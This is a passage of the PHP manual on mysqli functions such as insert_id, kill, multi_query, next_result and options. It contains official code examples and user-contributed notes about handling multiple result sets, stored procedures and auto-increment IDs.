    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO .. SELECT */
$mysqli->query("INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", $mysqli->info);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO .. SELECT */
mysqli_query($link, "INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", mysqli_info($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Records: 150  Duplicates: 0  Warnings: 0

See Also

  • mysqli_affected_rows() - Gets the number of affected rows in a previous MySQL operation
  • mysqli_warning_count() - Returns the number of warnings from the last query for the given link
  • mysqli_num_rows() - Gets the number of rows in a result

User Contributed Notes

user at biglake dot com 15-Dec-2010 03:43
Might save someone some time...

<?php
$prototype='Rows matched: 0 Changed: 1 Warnings: 2';
list($matched, $changed, $warnings) = sscanf($prototype, "Rows matched: %d Changed: %d Warnings: %d");
?>


Initializes MySQLi and returns a resource for use with mysqli_real_connect()

  • « mysqli::$info
  • mysqli::$insert_id »
  • PHP Manual
  • mysqli
  • Initializes MySQLi and returns a resource for use with mysqli_real_connect()

mysqli::init

mysqli_init

(PHP 5)

mysqli::init -- mysqli_init — Initializes MySQLi and returns a resource for use with mysqli_real_connect()

Description

Object oriented style

mysqli mysqli::init ( void )

Procedural style

mysqli mysqli_init ( void )

Allocates or initializes a MYSQL object suitable for mysqli_options() and mysqli_real_connect().

Note:

Any subsequent calls to any mysqli function (except mysqli_options()) will fail until mysqli_real_connect() was called.

Return Values

Returns an object.

Examples

See mysqli_real_connect().

See Also

  • mysqli_options() - Set options
  • mysqli_close() - Closes a previously opened database connection
  • mysqli_real_connect() - Opens a connection to a mysql server
  • mysqli_connect() - Alias of mysqli::__construct

User Contributed Notes

There are no user contributed notes for this page.


Returns the auto generated id used in the last query

  • « mysqli::init
  • mysqli::kill »
  • PHP Manual
  • mysqli
  • Returns the auto generated id used in the last query

mysqli::$insert_id

mysqli_insert_id

(PHP 5)

mysqli::$insert_id -- mysqli_insert_id — Returns the auto generated id used in the last query

Description

Object oriented style

mixed $mysqli->insert_id;

Procedural style

mixed mysqli_insert_id ( mysqli $link )

The mysqli_insert_id() function returns the ID generated by a query on a table with a column having the AUTO_INCREMENT attribute. If the last query wasn't an INSERT or UPDATE statement or if the modified table does not have a column with the AUTO_INCREMENT attribute, this function will return zero.

Note:

Performing an INSERT or UPDATE statement using the LAST_INSERT_ID() function will also modify the value returned by the mysqli_insert_id() function.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

The value of the AUTO_INCREMENT field that was updated by the previous query. Returns zero if there was no previous query on the connection or if the query did not update an AUTO_INCREMENT value.

Note:

If the number is greater than maximal int value, mysqli_insert_id() will return a string.

Examples

Example #1 $mysqli->insert_id example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
$mysqli->query($query);

printf ("New Record has id %d.\n", $mysqli->insert_id);

/* drop table */
$mysqli->query("DROP TABLE myCity");

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
mysqli_query($link, $query);

printf ("New Record has id %d.\n", mysqli_insert_id($link));

/* drop table */
mysqli_query($link, "DROP TABLE myCity");

/* close connection */
mysqli_close($link);
?>

The above examples will output:

New Record has id 1.

User Contributed Notes

mail at nikha dot org 20-Jan-2014 09:37
Hi Dears,

msqli_insert_id() simply does not ALWAYS return the correct value.

Use it only, if you performed some inserts just before. Then you get what you want.

In all other cases: may be, may be not.

I never found out why and why not.

I'm now performing a query like this:
SELECT MAX(`id`) FROM `table`

(by calling mysqli_query() in procedural style, for OO may be similar.)

It' s simple and  reliable - if you have set your id colum to "auto-increment". (if not: hm, why not??);
owenzx at gmail dot com 06-Sep-2013 11:54
The example is lack of insert_id in multi_query. Here is my example:
Assuming you have a new test_db in mysql like this:

create database if not exists test_db;
use test_db;
create table user_info (_id serial, name varchar(100) not null);
create table house_info (_id serial, address varchar(100) not null);

Then you run a php file like this:

<?php
define('SERVER', '127.0.01');
define('MYSQL_USER', 'your_user_name');
define('MYSQL_PASSWORD', 'your_password');

$db = new mysqli(SERVER, MYSQL_USER, MYSQL_PASSWORD, "test_db", 3306);
if ($db->connect_errno)
  echo "create db failed, error is ", $db->connect_error;
else {
  $sql = "insert into user_info "
    . "(name) values "
    . "('owen'), ('john'), ('lily')";
  if (!$result = $db->query($sql))
    echo "insert failed, error: ", $db->error;
  else
    echo "last insert id in query is ", $db->insert_id, "\n";
  $sql = "insert into user_info"
    . "(name) values "
    . "('jim');";
  $sql .= "insert into house_info "
    . "(address) values "
    . "('shenyang')";
  if (!$db->multi_query($sql))
    echo "insert failed in multi_query, error: ", $db->error;
  else {
    echo "last insert id in first multi_query is ", $db->insert_id, "\n";
    if ($db->more_results() && $db->next_result())
      echo "last insert id in second multi_query is ", $db->insert_id, "\n";
    else
      echo "insert failed in multi_query, second query error is ", $db->error;
  }
  $db->close();
}
?>

You will get output like this:

last insert id in query is 1
last insert id in first multi_query is 4
last insert id in second multi_query is 1

Conclusion:
1 insert_id works in multi_query
2 insert_id is the first id mysql has used if you have insert multi values
bert at nospam thinc dot nl 22-Jul-2008 05:58
Watch out for the oo-style use of $db->insert_id. When the insert_id exceeds 2^31 (2147483648) fetching the insert id renders a wrong, too large number. You better use the procedural mysqli_insert_id( $db ) instead.

[EDIT by danbrown AT php DOT net: This is another prime example of the limits of 32-bit signed integers.]
Nick Baicoianu 04-May-2007 10:10
When running extended inserts on a table with an AUTO_INCREMENT field, the value of mysqli_insert_id() will equal the value of the *first* row inserted, not the last, as you might expect.

<?
//mytable has an auto_increment field
$db->query("INSERT INTO mytable (field1,field2,field3) VALUES ('val1','val2','val3'),
('val1','val2','val3'),
('val1','val2','val3')");

echo $db->insert_id; //will echo the id of the FIRST row inserted
?>
will at phpfever dot com 21-Apr-2006 03:40
I have received many statements that the insert_id property has a bug because it "works sometimes".  Keep in mind that when using the OOP approach, the actual instantiation of the mysqli class will hold the insert_id.

The following code will return nothing.
<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$result->insert_id;
}
?>

This is because the insert_id property doesn't belong to the result, but rather the actual mysqli class.  This would work:

<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$mysqli->insert_id;
}
?>
alan at commondream dot net 03-Nov-2004 08:44
I was having problems with getting the inserted id, and did a bit of testing. It ended up that if you commit a transaction before getting the last inserted id, it returns 0 every time, but if you get the last inserted id before committing the transaction, you get the correct value.


Asks the server to kill a MySQL thread

  • « mysqli::$insert_id
  • mysqli::more_results »
  • PHP Manual
  • mysqli
  • Asks the server to kill a MySQL thread

mysqli::kill

mysqli_kill

(PHP 5)

mysqli::kill -- mysqli_kill — Asks the server to kill a MySQL thread

Description

Object oriented style

bool mysqli::kill ( int $processid )

Procedural style

bool mysqli_kill ( mysqli $link , int $processid )

This function is used to ask the server to kill a MySQL thread specified by the processid parameter. This value must be retrieved by calling the mysqli_thread_id() function.

To stop a running query you should use the SQL command KILL QUERY processid.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::kill() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = $mysqli->thread_id;

/* Kill connection */
$mysqli->kill($thread_id);

/* This should produce an error */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", $mysqli->error);
    exit;
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = mysqli_thread_id($link);

/* Kill connection */
mysqli_kill($link, $thread_id);

/* This should produce an error */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", mysqli_error($link));
    exit;
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: MySQL server has gone away

See Also

  • mysqli_thread_id() - Returns the thread ID for the current connection

User Contributed Notes

There are no user contributed notes for this page.


Check if there are any more query results from a multi query

  • « mysqli::kill
  • mysqli::multi_query »
  • PHP Manual
  • mysqli
  • Check if there are any more query results from a multi query

mysqli::more_results

mysqli_more_results

(PHP 5)

mysqli::more_results -- mysqli_more_results — Check if there are any more query results from a multi query

Description

Object oriented style

bool mysqli::more_results ( void )

Procedural style

bool mysqli_more_results ( mysqli $link )

Indicates if one or more result sets are available from a previous call to mysqli_multi_query().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE if one or more result sets are available from a previous call to mysqli_multi_query(), otherwise FALSE.

Examples

See mysqli_multi_query().

See Also

  • mysqli_multi_query() - Performs a query on the database
  • mysqli_next_result() - Prepare next result from multi_query
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Performs a query on the database

  • « mysqli::more_results
  • mysqli::next_result »
  • PHP Manual
  • mysqli
  • Performs a query on the database

mysqli::multi_query

mysqli_multi_query

(PHP 5)

mysqli::multi_query -- mysqli_multi_query — Performs a query on the database

Description

Object oriented style

bool mysqli::multi_query ( string $query )

Procedural style

bool mysqli_multi_query ( mysqli $link , string $query )

Executes one or multiple queries which are concatenated by a semicolon.

To retrieve the resultset from the first query you can use mysqli_use_result() or mysqli_store_result(). All subsequent query results can be processed using mysqli_more_results() and mysqli_next_result().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

query

The query, as a string.

Data inside the query should be properly escaped.

Return Values

Returns FALSE if the first statement failed. To retrieve subsequent errors from other statements you have to call mysqli_next_result() first.

Examples

Example #1 mysqli::multi_query() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if ($mysqli->multi_query($query)) {
    do {
        /* store first result set */
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->free();
        }
        /* print divider */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
    do {
        /* store first result set */
        if ($result = mysqli_store_result($link)) {
            while ($row = mysqli_fetch_row($result)) {
                printf("%s\n", $row[0]);
            }
            mysqli_free_result($result);
        }
        /* print divider */
        if (mysqli_more_results($link)) {
            printf("-----------------\n");
        }
    } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output something similar to:

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

See Also

  • mysqli_query() - Performs a query on the database
  • mysqli_use_result() - Initiate a result set retrieval
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_next_result() - Prepare next result from multi_query
  • mysqli_more_results() - Check if there are any more query results from a multi query

User Contributed Notes

levani0101 at yahoo dot com 05-Jul-2014 07:37
Please note that there is no need for the semicolon after the last query. That wasted more than hour of my time...
vicky dot gonsalves at outlook dot com 05-Mar-2014 07:29
Following code can be used to resolve
mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

        $query = "SELECT SOME_COLUMN FROM SOME_TABLE_NAME;";
        $query .= "SELECT SOME_OTHER_COLUMN FROM SOME_TABLE_NAME";
        /* execute multi query */
        if (mysqli_multi_query($this->conn, $query)) {
            $i = true;
            do {
                /* store first result set */
                if ($result = mysqli_store_result($this->conn)) {
                    while ($row = mysqli_fetch_row($result)) {
                        printf("%s\n", $row[0]);
                    }
                    mysqli_free_result($result);
                }
                /* print divider */
                if (mysqli_more_results($this->conn)) {
                    $i = true;
                    printf("-----------------\n");
                } else {
                    $i = false;
                }
            } while ($i && mysqli_next_result($this->conn));
        }
skunkbad 11-Jan-2014 05:13
I appreciate the advice from crmccar at gmail dot com regarding the proper way to check for errors, but I would get an error with his/her code. I fixed it by changing the code a little:

<?php
$sql = file_get_contents( 'sql/test_' . $id . '_data.sql');

$query_array = explode(';', $sql);

// Run the SQL
$i = 0;
if( $this->mysqli->multi_query( $sql ) )
{
    do {
        $this->mysqli->next_result();

        $i++;
    }
    while( $this->mysqli->more_results() );
}

if( $this->mysqli->errno )
{
    die(
        '<h1>ERROR</h1>
        Query #' . ( $i + 1 ) . ' of <b>test_' . $id . '_data.sql</b>:<br /><br />
        <pre>' . $query_array[ $i ] . '</pre><br /><br />
        <span style="color:red;">' . $this->mysqli->error . '</span>'
    );
}
?>
Ivan Gabriele 08-Dec-2013 01:47
To be able to execute a $mysqli->query() after a $mysqli->multi_query() for MySQL > 5.3, I updated the code of jcn50 by this one :

<?php
    // WORKING CODE:
    $mysqli->multi_query(" Many SQL queries ; "); // OK

    while ($mysqli->next_result()) // flush multi_queries
    {
        if (!$mysqli->more_results()) break;
    }

    $mysqli->query(" SQL statement #1 ; ") // now executed!
    $mysqli->query(" SQL statement #2 ; ") // now executed!
    $mysqli->query(" SQL statement #3 ; ") // now executed!
    $mysqli->query(" SQL statement #4 ; ") // now executed!
?>
keksov at gmail dot com 17-Aug-2013 03:29
If you want to create a table with triggers, procedures or functions in one multiline query you may stuck with a error -
#1064 - You have an error in your SQL syntax; xxx corresponds to your MySQL server version for the right syntax to use near 'DELIMITER' at line 1

The solution is very simple - don't use DELIMITER keyword at all! So, instead of :

DELIMITER |
CREATE TRIGGER $dbName.$iname BEFORE INSERT ON $table FOR EACH ROW
BEGIN
    <body>
EOT|
DELIMITER ;

just use :

CREATE TRIGGER $dbName.$iname BEFORE INSERT ON $table FOR EACH ROW
BEGIN
    <body>
EOT;

For more information read answers at StackOverflow for question #5311141

http://stackoverflow.com/questions/5311141/how-to-execute-mysql-command-delimiter
Lubaev K 22-Jul-2013 06:15
Use generator.
PHP 5.5.0
<?php
// Quick multiQuery func.
function multiQuery( mysqli $mysqli, $query ) {
    if ($mysqli->multi_query( $query )) {
    do {
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                foreach ($row as $key => $value) yield $key => $value;
            }
            $result->free();
        }
    } while( $mysqli->more_results() && $mysqli->next_result() );
    }
}

$query = "OPTIMIZE TABLE `question`;" .
         "LOCK TABLES `question` READ;" .
         "SELECT * FROM `question` WHERE `questionid`=2;" .
         "SELECT * FROM `question` WHERE `questionid`=7;" .
         "SELECT * FROM `question` WHERE `questionid`=8;" .
         "SELECT * FROM `question` WHERE `questionid`=9;" .
         "SELECT * FROM `question` WHERE `questionid`=11;" .
         "SELECT * FROM `question` WHERE `questionid`=12;" .
         "UNLOCK TABLES;" .
         "TRUNCATE TABLE `question`;";

$mysqli = new mysqli('localhost', 'user', 'pswd', 'dbnm');
$mysqli->set_charset("cp1251");

// result
foreach ( multiQuery($mysqli, $query) as $key => $value ) {
    echo $key, $value, PHP_EOL;
}

?>
Good luck!
miqrogroove at gmail dot com 18-Jan-2013 06:40
Here are more details about error checking and return values from multi_query().  Testing shows that there are some mysqli properties to check for each result:

affected_rows
errno
error
insert_id
warning_count

If error or errno are not empty then the remaining queries did not return anything, even though error and errno will appear to be empty if processing further results is continued.

Also note that get_warnings() will not work with multi_query().  It can only be used after looping through all results, and it will only get the warnings for the last one of the queries and not for any others.  If you need to see or log query warning strings then you must not use multi_query(), because you can only see the warning_count value.
jlong at carouselchecks dot com 25-Sep-2012 04:56
Getting "Error: Commands out of sync; you can't run this command now" after running a multi-query? Make sure you've cleared out the queue of results.

Here's what I've used to discard all subsequent results from a multi-query:

<?php
while($dbLink->more_results() && $dbLink->next_result()) {
    $extraResult = $dbLink->use_result();
    if($extraResult instanceof mysqli_result){
        $extraResult->free();
    }
}

?>
crmccar at gmail dot com 13-Oct-2011 03:40
I'd like to reinforce the correct way of catching errors from the queries executed by multi_query(), since the manual's examples don't show it and it's easy to lose UPDATEs, INSERTs, etc. without knowing it.

$mysqli->next_result() will return false if it runs out of statements OR if the next statement has an error. Therefore, it's important to check for errors when the loop ends. Also, I believe it's useful to know when and where the loop broke, so consider the following code:

<?php
$statements = array("INSERT INTO tablename VALUES ('1', 'one')", "INSERT INTO tablename VALUES ('2', 'two')");
if ($mysqli->multi_query(implode(';', $statements))) {
    $i = 0;
    do {
        $i++;
    } while ($mysqli->next_result());
}
if ($mysqli->errno) {
    echo "Batch execution prematurely ended on statement $i.\n";
    var_dump($statements[$i], $mysqli->error);
}
?>

The IF statement on the multi_query() call checks the first result, because next_result() starts at the second.
Anonymous 21-May-2011 04:25
If your second or late query returns no result or even if your query is not a valid SQL query, more_results(); returns true in any case.
jcn50 09-Mar-2011 02:09
WATCH OUT: if you mix $mysqli->multi_query and $mysqli->query, the latter(s) won't be executed!

<?php
// BAD CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
$mysqli->query(" SQL statement #1 ; ") // not executed!
$mysqli->query(" SQL statement #2 ; ") // not executed!
$mysqli->query(" SQL statement #3 ; ") // not executed!
$mysqli->query(" SQL statement #4 ; ") // not executed!
?>

The only way to do this correctly is:

<?php
// WORKING CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
while ($mysqli->next_result()) {;} // flush multi_queries
$mysqli->query(" SQL statement #1 ; ") // now executed!
$mysqli->query(" SQL statement #2 ; ") // now executed!
$mysqli->query(" SQL statement #3 ; ") // now executed!
$mysqli->query(" SQL statement #4 ; ") // now executed!
?>
luka8088 at owave dot net 20-Sep-2010 07:17
if you don't iterate through all results you get "server has gone away" error message ...

to resolve this, in php 5.2 it is enough to use

<?php
  // ok for php 5.2
  while ($mysqli->next_result());
?>

to drop unwanted results, but in php 5.3 using only this throws

mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

so it should be replaced with

<?php
  // ok for php 5.3
  while ($mysqli->more_results() && $mysqli->next_result());
?>

I also tried but failed:

<?php

  // can create infinite look in some cases
  while ($mysqli->more_results())
    $mysqli->next_result();

  // also throws error in some cases
  if ($mysqli->more_results())
    while ($mysqli->next_result());

?>
Shawn Pyle 15-Apr-2010 06:29
Be sure to not send a set of queries that are larger than max_allowed_packet size on your MySQL server. If you do, you'll get an error like:
Mysql Error (1153): Got a packet bigger than 'max_allowed_packet' bytes

To see your MySQL size limitation, run the following query: show variables like 'max_allowed_packet';

or see http://dev.mysql.com/doc/refman/5.1/en/packet-too-large.html
Miles 22-Jun-2009 07:47
You can use prepared statements on stored procedures.

You just need to flush all the subsequent result sets before closing the statement... so:

$mysqli_stmt = $mysqli->prepare(....);

... bind, execute, bind, fetch ...

while($mysqli->more_results())
{
    $mysqli->next_result();
    $discard = $mysqli->store_result();
}

$mysqli_stmt->close();

Hope that helps :o)
jparedes at gmail dot com 27-Aug-2008 06:05
It's very important that after executing mysqli_multi_query you have first process the resultsets before sending any another statement to the server, otherwise your
socket is still blocked.

Please note that even if your multi statement doesn't contain SELECT queries, the server will send result packages containing errorcodes (or OK packet) for single statements.
undefined(AT)users(DOT)berlios(DOT)de 04-Mar-2008 01:13
mysqli_multi_query handles MySQL Transaction on InnoDB's :-)

<?php

$mysqli  = mysqli_connect( "localhost", "owner", "pass", "db", 3306, "/var/lib/mysql/mysql.sock" );

$QUERY = <<<EOT
START TRANSACTION;
SELECT @lng:=IF( STRCMP(`main_lang`,'de'), 'en', 'de' )
FROM `main_data` WHERE  ( `main_activ` LIKE 1 ) ORDER BY `main_id` ASC;
SELECT `main_id`, `main_type`, `main_title`, `main_body`, `main_modified`, `main_posted`
FROM `main_data`
WHERE ( `main_type` RLIKE "news|about" AND `main_lang` LIKE @lng AND `main_activ` LIKE 1 )
ORDER BY `main_type` ASC;
COMMIT;
EOT;

$query = mysqli_multi_query( $mysqli, $QUERY ) or die( mysqli_error( $mysqli ) );

if( $query )
{
  do {
    if( $result = mysqli_store_result( $mysqli ) )
    {
      $subresult = mysqli_fetch_assoc( $result );
      if( ! isset( $subresult['main_id'] ) )
        continue;

      foreach( $subresult AS $k => $v )
      {
        var_dump( $k , $v );
      }
    }
  } while ( mysqli_next_result( $mysqli ) );
}

mysqli_close( $mysqli );

?>
mjmendoza at grupzero dot tk 30-Nov-2006 07:47
I was developing my own CMS and I was having problem with attaching the database' sql file. I thought mysqli_multi_query got bugs where it crashes my MySQL server. I tried to report the bug but it showed that it has duplicate bug reports of other developers. To my surprise, mysqli_multi_query needs to bother with result even if there's none.

I finally got it working when I copied the sample and removed somethings. Here is what it looked liked

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
   printf("Connect failed: %s\n", mysqli_connect_error());
   exit();
}

$query  = "CREATE TABLE....;...;... blah blah blah;...";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = mysqli_store_result($link)) {
           //do nothing since there's nothing to handle
           mysqli_free_result($result);
       }
       /* print divider */
       if (mysqli_more_results($link)) {
           //I just kept this since it seems useful
           //try removing and see for yourself
       }
   } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

bottom-line: I think mysql_multi_query should only be used for attaching a database. it's hard to handle results from 'SELECT' statements inside a single while loop.
sly underscore mcfly at hotmail dot com 08-Sep-2006 02:32
Ive just had exactly the same problem as below trying to execute multiple stored procedures. I thought i might as well add how to do it the object oriented way.

Instead of putting the one statement:

<?php
$mysqli->next_result();
?>

Put two:

<?php
$mysqli->next_result();
$mysqli->next_result();
?>

The first statement points (possibly using the term incorrectly) you to the return value. The second one will point you to the result of the next query.

I hope this makes sense.
info at ff dot net 08-May-2006 01:02
Note that you need to use this function to call Stored Procedures!

If you experience "lost connection to MySQL server" errors with your Stored Procedure calls then you did not fetch the 'OK' (or 'ERR') message, which is a second result-set from a Stored Procedure call. You have to fetch that result to have no problems with subsequent queries.

Bad example, will FAIL now and then on subsequent calls:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);
?>

Working example:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);

if(mysqli_more_results($this->sqlLink))
  while(mysqli_next_result($this->sqlLink));
?>

Of course you can do more with the multiple results then just throwing them away, but for most this will suffice. You could for example make an "sp" function which will kill the 2nd 'ok' result.

This nasty 'OK'-message made me spend hours trying to figure out why MySQL server was logging warnings with 'bad packets from client' and PHP mysql_error() with 'Connection lost'. It's a shame the mysqli library does catch this by just doing it for you.


Prepare next result from multi_query

  • « mysqli::multi_query
  • mysqli::options »
  • PHP Manual
  • mysqli
  • Prepare next result from multi_query

mysqli::next_result

mysqli_next_result

(PHP 5)

mysqli::next_result -- mysqli_next_result — Prepare next result from multi_query

Description

Object oriented style

bool mysqli::next_result ( void )

Procedural style

bool mysqli_next_result ( mysqli $link )

Prepares next result set from a previous call to
mysqli_multi_query() which can be retrieved by
mysqli_store_result() or
mysqli_use_result().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See mysqli_multi_query().

See Also

  • mysqli_multi_query() - Performs a query on the database
  • mysqli_more_results() - Check if there are any more query results from a multi query
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

admin at travian-utils dot com 28-Oct-2009 08:24
Stored procedures few rowset example:

some_file.php
<?php
function proc() {
  global $global;
  $db_connect_list = array('site');
  SQLinit($db_connect_list);
  if(isset($global['error'])){return;}
  SQL('CALL `procedure`();');
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLclose($db_connect_list);
}
?>

config.php
<?php
  $global['sys']['db']['site'] = array('host'=>'localhost', 'user'=>'site', 'pass'=>'');
?>

engine.php
<?php
function SQLinit($array_list){
  global $global;
  foreach($array_list as $set){
    if(!$global['sys']['db'][$set]['connect'] = mysqli_connect(
        $global['sys']['db'][$set]['host'],
        $global['sys']['db'][$set]['user'],
        $global['sys']['db'][$set]['pass'])){
      $global['error']['code'] = 500;
      $global['error']['text'] = 'Database not avaliable';
      $w=fopen('error.log','a+');
      fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
      fwrite($w,'errno: '.mysqli_connect_errno()."\r\n");
      fwrite($w,'error: '.mysqli_connect_error()."\r\n");
      fclose($w);
      return;
    }
    if(!isset($global['sys']['default_connect']))
      $global['sys']['default_connect'] = $global['sys']['db'][$set]['connect'];
    SQL('SET NAMES \'utf8\' COLLATE \'utf8_unicode_ci\';', $global['sys']['db'][$set]['connect']);
    SQL('SET CHARACTER SET \'utf8\';', $global['sys']['db'][$set]['connect']);
    SQL('SET character_set_connection = \'utf8\';', $global['sys']['db'][$set]['connect']);
  }
}
function mTime(){
  list($usec, $sec) = explode(" ", microtime());
  return ((float)$usec+(float)$sec);
}
function SQL($sql, $connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  while ($connect->next_result()) $connect->store_result();
  $begin=mTime();
  $global['result']=mysqli_query($connect, $sql);
  $end=mTime();
  $global['sys']['time_sql']+=$end-$begin;
  $error=mysqli_error($connect);
  if($error!=''){
    $global['error']['code'] = 502;
    $global['error']['text'] = 'SQL error';
    $global['error']['sql'] = true;
    $w=fopen('error.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'errno: '.mysqli_errno($connect)."\r\n");
    fwrite($w,'error: '.$error."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }else{
    $w=fopen('sql.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }
}

function SQLnext($connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  $connect->next_result();
  $global['result'] = $connect->store_result();
}

function SQLclose($array_list){
  global $global;
  foreach($array_list as $set){
    mysqli_close($global['sys']['db'][$set]['connect']);
  }
}
?>
pawel dot barcik at gmail dot com 22-Jun-2008 02:26
this function returns FALSE when you have an error in your syntax in one of your queries, so be carefull with this type of construction when tracking errors:

<?php

//error in the second sub query
$result = $db->multi_query("select * from news; seleeeeeeect id from news; update news set title='new title' where id= 12 ");

//code inside object class
$this->_db = new Mysqli($host, $user, $password, $database, $port, $socket);

do {
    $result = $this->_db->store_result();
    $this->_resultMulti[] = $result;
    $this->_errnoMulti[] = $this->_db->errno;

    if(is_object($result)) {
        $result->free_result();
    }

} while($this->_db->next_result());

?>

in this construction all you have in the $this->_errnoMulti is :

array(1) {
  [0]=>
  int(0)
}

which means that there are no errors if you are not checking how many queries are executed!


Set options

  • « mysqli::next_result
  • mysqli::ping »
  • PHP Manual
  • mysqli
  • Set options

mysqli::options

mysqli_options

(PHP 5)

mysqli::options -- mysqli_options — Set options

Description

Object oriented style

bool mysqli::options ( int $option , mixed $value )

Procedural style

bool mysqli_options ( mysqli $link , int $option , mixed $value )

Used to set extra connect options and affect behavior for a connection.

This function may be called multiple times to set several options.

mysqli_options() should be called after
mysqli_init() and before
mysqli_real_connect().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

option

The option that you want to set. It can be one of the following values:

Valid options
Name | Description
MYSQLI_OPT_CONNECT_TIMEOUT | connection timeout in seconds (supported on Windows with TCP/IP since PHP 5.3.1)
MYSQLI_OPT_LOCAL_INFILE | enable/disable use of LOAD LOCAL INFILE
MYSQLI_INIT_COMMAND | command to execute after when connecting to MySQL server
MYSQLI_READ_DEFAULT_FILE | Read options from named option file instead of my.cnf
